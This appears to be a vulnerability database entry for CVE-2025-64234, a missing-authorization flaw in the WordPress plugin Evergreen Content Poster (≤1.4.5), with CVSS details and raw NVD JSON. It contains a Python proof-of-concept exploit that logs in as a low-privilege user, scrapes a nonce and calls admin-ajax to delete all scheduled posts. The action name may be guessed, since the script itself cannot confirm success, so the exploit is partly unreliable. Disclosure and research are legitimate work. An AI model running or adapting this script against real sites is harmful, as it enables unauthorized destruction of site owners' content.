Security Vulnerability Report
中文
CVE-2025-64234 CVSS 4.3 MEDIUM

CVE-2025-64234

Published: 2025-10-29 09:15:45
Last Modified: 2026-04-27 16:16:36

Description

Missing Authorization vulnerability in Evergreen Content Poster Evergreen Content Poster evergreen-content-poster allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Evergreen Content Poster: from n/a through <= 1.4.5.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Evergreen Content Poster <= 1.4.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64234 PoC - Evergreen Content Poster Broken Access Control Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wp_nonce(url, cookie): """Extract WordPress nonce from the plugin admin page""" response = requests.get(f"{url}/wp-admin/admin.php?page=evergreen-content-poster", cookies=cookie) if response.status_code == 200: import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit(): """Exploit the missing authorization vulnerability""" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'testcookie': '1' } login_url = f"{TARGET_URL}/wp-login.php" response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Get nonce for the vulnerable endpoint nonce = get_wp_nonce(TARGET_URL, session.cookies) if not nonce: print("[-] Failed to obtain nonce") return False print(f"[+] Obtained nonce: {nonce}") # Step 3: Exploit the broken access control exploit_data = { 'action': 'ecp_admin_action', 'nonce': nonce, 'subaction': 'delete_all_scheduled_posts', 'confirm': 'yes' } exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent - check if admin-only action was executed") print(f"[*] Response: {response.text}") else: print("[-] Exploit failed") return True if __name__ == "__main__": print("CVE-2025-64234 PoC - Evergreen Content Poster Broken Access Control") exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64234", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:44.763", "lastModified": "2026-04-27T16:16:36.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Evergreen Content Poster Evergreen Content Poster evergreen-content-poster allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Evergreen Content Poster: from n/a through <= 1.4.5."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en Evergreen Content Poster Evergreen Content Poster evergreen-content-poster permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Evergreen Content Poster: desde n/a hasta menor igual que 1.4.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/evergreen-content-poster/vulnerability/wordpress-evergreen-content-poster-plugin-1-4-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}